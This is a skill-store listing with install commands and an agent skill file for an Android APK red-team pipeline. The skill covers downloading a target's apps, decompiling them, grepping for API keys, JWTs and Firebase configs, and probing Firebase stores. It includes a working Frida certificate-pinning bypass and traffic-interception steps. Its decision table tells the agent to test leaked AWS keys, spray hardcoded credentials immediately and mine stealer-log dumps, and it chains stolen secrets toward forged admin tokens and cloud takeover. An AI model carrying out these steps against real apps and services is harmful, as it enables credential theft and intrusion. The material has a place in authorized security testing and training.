apk-redteam-pipeline
End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
适合你,如果需要对安卓应用进行自动化安全测试和漏洞挖掘。
用别的 agent?下载 .zip 解压,把文件夹放进它的技能目录
~/.claude/skills/(项目级 .claude/skills/)~/.codex/skills/npx oh-my-skill add elementalsouls/claude-bughunter/apk-redteam-pipelinecurl -fsSL https://oh-my-skill.com/install.sh | bash -s -- elementalsouls/claude-bughunter/apk-redteam-pipelinenpx oh-my-skill verify elementalsouls/claude-bughunter/apk-redteam-pipeline怎么用
商店整理自技能原文 · 版本 05098fc · 表述以原文为准Claude 会自动下载 APK、反编译、搜索密钥和硬编码 URL、提取证书、枚举暴露组件,并生成 Frida 脚本和注入测试模板。
当目标有移动应用(如 Play Store 开发者页面)、发现 APK 下载链接,或侦察范围提到“移动应用”时触发。
技能原文 SKILL.md
When to use this skill
Trigger when:
- Recon surfaces 1+ mobile apps under the target's developer name (Play Store dev page)
- A web app hosts
*.apkfiles directly (e.g.Recruitz.apkfound on a subdomain during one engagement) - APK package IDs leaked via stealer logs (e.g.
com.<brand>.app,com.<brand>.<sub-brand>patterns in stealer dump format) - Customer-facing app, dealer/partner portal, or employee mobile companion app is in scope
- Bug bounty program lists Android in scope
DO NOT use for:
- iOS-only targets (different pipeline — IPA reverse, MobSF, frida-ios-dump)
- React Native / Flutter web apps already covered by JS bundle analysis
- Server-side only assessments
Stage 0 — Inventory all org-owned apps
Play Store developer-page scrape
# Find developer page from the target's brand name curl -sk -A "Mozilla/5.0" "https://play.google.com/store/apps/developer?id=<Brand+Name>" -o /tmp/dev.html # Extract package IDs grep -oE 'id=[a-zA-Z0-9._]+' /tmp/dev.html | sort -u
Example output (anonymized — 7 packages typical for a multi-brand conglomerate):
com.events.<brand>build com.<corp>.<sub-brand-1> com.<corp>.<sub-brand-2> com.<corp>.<flagship> com.<corp>.<product-line-1> com.<corp>.<product-line-2> com.<corp>.<sub-brand-3>
Cross-reference with stealer logs
Stealer-log format includes package names like *@com.<corp>.<app> — extract these from creds_userpass.txt if you have a leaked dump.
Brand permutation guesses (multi-brand conglomerate patterns)
com.<brand>.app com.<brand>.mobile com.<brand>.android com.<brand>connect.app in.<brand>.dealer in.co.<brand>.app
Stage 1 — APK acquisition
Primary: APKPure direct (no auth required)
# Follow 302 redirects to actual download curl -sk -L --max-time 60 \ "https://d.apkpure.net/b/APK/<package_id>?version=latest" \ -o "<package_id>.apk" # Or via the legacy d-XX.winudf.com mirror chain (we saw this work)
Secondary: APKMirror search
curl -sk -A "Mozilla/5.0" "https://www.apkmirror.com/?post_type=app_release&searchtype=apk&s=<brand>" \ | grep -oE 'href="[^"]+\.apk[^"]*"' | sort -u
Tertiary: APKPure web search
curl -sk "https://apkpure.com/search?q=<brand>" | grep -oE 'data-dt-app="[^"]+"'
XAPK vs APK
.xapk= a zip containing multiple split APKs (base + config.armeabi-v7a + config.en + etc.)- Unzip outer first, then unzip the inner
base.apkor<package>.apk - Some apkpure downloads return truncated XAPK with missing EOCD signature — symptom of CDN rate-limiting; rotate IP and retry, OR use
7z xwhich is more lenient thanunzip
# Standard unzip (works for clean APK) unzip -o <package>.apk -d extracted_<package>/ # For truncated/repaired XAPK 7z x -y <package>.apk -o"extracted_<package>" # For nested XAPK for inner in extracted_<package>/*.apk; do mkdir -p "extracted_<package>/$(basename "$inner" .apk)" unzip -o "$inner" -d "extracted_<package>/$(basename "$inner" .apk)" done
Stage 2 — DEX decompilation (jadx)
# Install brew install jadx # macOS # or wget https://github.com/skylot/jadx/releases/latest/download/jadx-1.5.x.zip # Decompile jadx -d decompiled_<package>/ <package>.apk # For XAPK that contains multiple APKs for inner in extracted_<package>/*.apk; do jadx -d decompiled_<package>_$(basename "$inner" .apk)/ "$inner" done
For a fast "strings only" pass without full decompilation:
find extracted_<package> -name "classes*.dex" -exec strings -8 {} \; > strings_<package>.txt
Stage 3 — Secret grep (the 60-pattern catalog)
# URL grep — owned-domain references
grep -oE 'https?://[a-zA-Z0-9.-]+\.(target1|target2|target3)\.(com|io|net|in)[a-zA-Z0-9./_?=&%-]*' strings_<package>.txt | sort -u
# Internal IP / port URLs
grep -oE 'https?://(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)[0-9.]+(:[0-9]+)?[a-zA-Z0-9./_?=&-]*' strings_<package>.txt
# Cloud credentials
grep -oE 'AKIA[A-Z0-9]{16}' # AWS Access Key
grep -oE 'aws_secret_access_key[\s:=]+[A-Za-z0-9/+=]{40}' # AWS Secret
grep -oE 'AIza[A-Za-z0-9_-]{35}' # Google API key
grep -oE 'ya29\.[A-Za-z0-9_-]+' # Google OAuth refresh token
grep -oE 'gh[ps]_[A-Za-z0-9]{36}' # GitHub PAT
grep -oE 'glpat-[A-Za-z0-9_-]{20}' # GitLab PAT
grep -oE 'xox[pbar]-[A-Za-z0-9-]+' # Slack token
grep -oE 'sk-[A-Za-z0-9]{48}' # OpenAI API key
grep -oE 'sk-ant-[A-Za-z0-9_-]{90,}' # Anthropic API key
grep -oE 'AC[a-f0-9]{32}' # Twilio Account SID
grep -oE 'sk_live_[A-Za-z0-9]{24}' # Stripe live key
grep -oE 'pk_live_[A-Za-z0-9]{24}' # Stripe publishable
grep -oE 'mailgun-[A-Za-z0-9-]{40}' # Mailgun
grep -oE 'SG\.[A-Za-z0-9_-]{22}\.[A-Za-z0-9_-]{43}' # SendGrid
# JWT (any algorithm)
grep -oE 'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]*' strings_<package>.txt
# Firebase
grep -oE '"(api_key|project_id|database_url|storage_bucket|client_id|mobilesdk_app_id|google_app_id|gcm_defaultSenderId)"\s*:\s*"[^"]+"' \
extracted_<package>/res/values/strings.xml \
extracted_<package>/google-services.json \
decompiled_<package>/resources/AndroidManifest.xml 2>/dev/null
# OAuth client secrets
grep -oE 'client_secret["\s:=]+[A-Za-z0-9_-]{24,}' strings_<package>.txt
# Hardcoded passwords (heuristic — many false positives, manual review)
grep -oE '"password"\s*:\s*"[^"]+"|password\s*=\s*"[^"]+"' decompiled_<package>/sources/**/*.java 2>/dev/null
Real-world example finding (anonymized — from an authorized engagement)
# Customer-facing APK shipped a hardcoded URL of this shape:
https://api.<client>.example/<path-token>/<resource-token>?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.<payload>.<sig>
# Decoded JWT payload: {"sid":<int>,"iat":<unix-ts>,"exp":<unix-ts>}
# Expired ~8 years earlier — but path tokens + 30 /v1/* endpoints still useful intel
Stage 4 — Pinned certificate extraction
# Find .cer / .der / .pem files in assets/
find extracted_<package>/assets -iname "*.cer" -o -iname "*.der" -o -iname "*.pem" -o -iname "*.crt" 2>/dev/null
# Or in network_security_config.xml
find extracted_<package> -name "network_security_config.xml" -exec cat {} \;
# For each cert, extract subject + SAN (might reveal new internal API hosts)
for cert in $(find extracted_<package>/assets -iname "*.cer"); do
echo "=== $cert ==="
openssl x509 -in "$cert" -noout -subject -issuer -dates 2>/dev/null
openssl x509 -in "$cert" -noout -text 2>/dev/null | grep -E 'Subject:|DNS:|Issuer:|Validity'
done
Real-world example
A customer-facing APK from an authorized engagement contained assets/api_<service>_<domain>_com.cer — revealed the existence of an api.<service>.<domain>.example asset that had NOT surfaced in passive recon.
Stage 5 — Exported component enumeration
AndroidManifest.xml lists components. Exported ones (especially with android:exported="true" or implicit-export via intent-filter) can be triggered by other apps — potential intent-injection attack surface.
# Decode binary AndroidManifest if needed apktool d <package>.apk -o decoded_<package>/ # apktool decodes binary manifest # Or read directly from jadx output cat decompiled_<package>/resources/AndroidManifest.xml | grep -E '<(activity|service|receiver|provider)' | head -50 # Filter exported grep -E 'android:exported="true"' decompiled_<package>/resources/AndroidManifest.xml
For each exported component, check:
- Does it accept extras that flow into a WebView (intent → WebView → XSS / file://)
- Does it accept URI extras (potential SSRF via deep link)
- Does it pass extras to other Activities (intent redirection)
Stage 6 — Firebase / cloud-service config inspection
# google-services.json — full Firebase config
find extracted_<package> -name "google-services.json" -exec cat {} \; | python3 -m json.tool
# Look for:
# project_id → can guess Firestore / RTDB URL: https://<project_id>.firebaseio.com/.json
# storage_bucket → can guess GCS bucket: gs://<bucket>
# web_api_key → can use to enumerate Firebase tenant config
# Test if Firestore is publicly readable
curl -s "https://firestore.googleapis.com/v1/projects/<project_id>/databases/(default)/documents/users"
# Test if Realtime DB is publicly readable
curl -s "https://<project_id>.firebaseio.com/.json"
# Test if Storage Bucket is publicly listable
curl -s "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
Stage 7 — Runtime instrumentation (Frida)
For when static analysis isn't enough — you want to dump tokens at runtime, bypass cert pinning, or trace API calls.
Setup
pip install --break-system-packages frida-tools objection adb devices # ensure device/emulator connected # Push frida-server to device (root required, or use rooted emulator like Genymotion / x86_64 AVD)
Cert-pinning bypass (universal)
// frida-script-pinning-bypass.js
Java.perform(function() {
// OkHttp
try {
var CertificatePinner = Java.use('okhttp3.CertificatePinner');
CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function() {
console.log('[+] OkHttp pinning bypassed for: ' + arguments[0]);
return;
};
} catch (e) {}
// HttpsURLConnection
try {
var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
TrustManagerImpl.verifyChain.implementation = function(chain) {
console.log('[+] TrustManagerImpl verifyChain bypassed');
return chain;
};
} catch (e) {}
});
frida -U -l frida-script-pinning-bypass.js -f <package_id> --no-pause
Hook HTTP requests
Java.perform(function() {
var OkHttpClient = Java.use('okhttp3.OkHttpClient');
var Request = Java.use('okhttp3.Request');
var Call = Java.use('okhttp3.Call');
OkHttpClient.newCall.implementation = function(req) {
var url = req.url().toString();
var headers = req.headers().toString();
console.log('[REQ] ' + url);
console.log('[HDRS] ' + headers);
return this.newCall(req);
};
});
Quick token extraction via objection
objection --gadget com.target.app explore # Inside: android hooking watch class_method <class>.<method> --dump-args --dump-return
Stage 8 — Network traffic capture (via mitmproxy)
For deeper API discovery once pinning is bypassed.
# Run mitmproxy on host mitmproxy --listen-port 8080 # Configure Android device proxy to host:8080 # Install mitmproxy CA cert on device: # - Pull from http://mitm.it on the device, or # - Push to /system/etc/security/cacerts/ on rooted device # Use the Frida pinning bypass script while traffic flows through mitmproxy # All API calls visible in mitmproxy UI
Decision tree — what to do with what you find
| Finding | Next move | |---|---| | Active JWT (not expired) | Test against the API host — does it grant access? Try sid manipulation | | Expired JWT | Inspect path tokens / API endpoint structure — useful intel for post-VPN | | AWS access key | Use awscli to test: aws sts get-caller-identity — many leaked keys still have permissions | | Firebase project_id + web_api_key | Test public Firestore/RTDB/Storage read | | Google API key (AIza*) | Test against https://www.googleapis.com/customsearch/v1 etc. — see what API the key activates | | Hardcoded HTTP URLs (http://) | Possible MITM via downgrade if cert pinning is missing | | Pinned cert for internal host | New asset discovery — that host is real | | Exported Activity with WebView | Test intent-injection → URL-loading abuse | | Stack-trace artifacts (Stack Overflow URLs) | Identify the developer's questions → infer architecture | | Hardcoded credentials | Spray immediately (respect any caps from related skills) |
Anti-patterns
- Don't grep only for "password" — most secrets have specific high-signal patterns (AKIA, AIza, eyJ, etc.). Generic word grep produces too much noise.
- Don't skip XAPK split APKs — config.armeabi splits and config.<lang> splits sometimes contain different code paths.
- Don't trust expired JWTs as "dead intel" — the path structure, endpoint list, and signing algorithm are still useful. The 8-year-expired-JWT example above shows this.
- Don't reverse only the latest version — older APK versions (via APKMirror version history) sometimes have secrets removed in newer versions but still active server-side.
- Don't ignore Firebase even if app looks "simple" — Firebase rules misconfigurations (public read on Firestore) are extremely common.
- Don't run Frida on a production device — use rooted emulator or test device only.
Tooling install (one-time)
brew install jadx p7zip pip install --break-system-packages frida-tools objection # Genymotion or AVD for rooted Android emulator
For APK download convenience, can add a download-apk shell function:
download-apk() {
local pkg="$1"
curl -sk -L --max-time 60 "https://d.apkpure.net/b/APK/$pkg?version=latest" -o "$pkg.apk"
echo "Downloaded $(wc -c < "$pkg.apk") bytes"
file "$pkg.apk"
}
Bridge to neighboring skills
offensive-osint— Play Store / APKMirror enum is part of broader OSINThunt-cloud-misconfig— Firebase public-read is exactly this skill's specialty post-discoveryhunt-api-misconfig— JWT manipulation once you have the algorithm + sample tokenevidence-hygiene— extracted secrets need redaction before report inclusionredteam-mindset— APK reverse on day-1 of an engagement, not as an afterthought
Real-world finding template (anonymized — authorized engagement)
Finding: Hardcoded JWT + 30+ Internal API Endpoints in a customer-facing APK
- Subject: Hardcoded artifacts in legacy mobile build reveal internal API surface
- Observations: Decompilation of
com.<client>.<app>revealed embedded JWT (expired ~8 years earlier) and 30+/v1/*endpoint paths againstapi2.<client>.example(internal-only externally) - Description: APK ships with developer build artifacts. Path tokens are security-by-obscurity; API endpoint inventory is reconnaissance-grade.
- Impact: Post-VPN-foothold (via cred compromise), attacker has full API surface map without binary reverse. HS256 secret recovery (via SSRF/LFI) would yield arbitrary token forging.
- Recommendation: rotate HS256 secret, migrate to RS256, remove hardcoded URLs from builds, audit all org APKs.
- Evidence: extracted strings, decoded JWT, endpoint inventory
Related Skills & Chains
cloud-iam-deep— APK secret extraction frequently yields live AWS/GCP/Azure credentials. Chain primitive: jadx string-grep produces AWS Access Key ID + Secret →cloud-iam-deepaws sts get-caller-identity→ role/policy enumeration → IAM privilege-escalation path (one of 24 documented AWS escalation patterns) → cloud-plane takeover. Same flow applies to GCP service-account JSON and Azure shared-access-signature tokens extracted from APK resources.hunt-api-misconfig— APK endpoint inventory hands you the API surface for free; mass-assignment, JWT, and CORS bugs are typical. Chain primitive: APK reveals/v1/users/meand/v1/admin/users→hunt-api-misconfigmass-assignment probes ({is_admin:true}) against/v1/users/me→ admin role escalation → access to/v1/admin/users.hunt-rce— Hardcoded JWT signing secrets (HS256) extracted from APK enable arbitrary token forging. Chain primitive: APK strings yield HS256 secret → forge admin token → access admin API → if API has eval/template/sink →hunt-rceto server. Also: exported components with intent-injection sinks can reachRuntime.execif app is local-installed.offensive-osint— APK is one node in the broader org recon graph; pair with breach corpora and cert transparency. Chain primitive: APK reveals internal API hostnameapi2.example.com→offensive-osintcertificate-transparency lookup → discover sibling subdomains → expanded attack surface.redteam-report-template— APK findings need clear "what the binary leaks" framing because client engineers often dismiss mobile-static findings as "obfuscation problem." Chain primitive: validated finding (token/URL/secret extracted) →triage-validation7-Question Gate (specifically: "does this credential still authenticate today?") →redteam-report-templatepackaging with explicit binary version + extraction reproduction steps.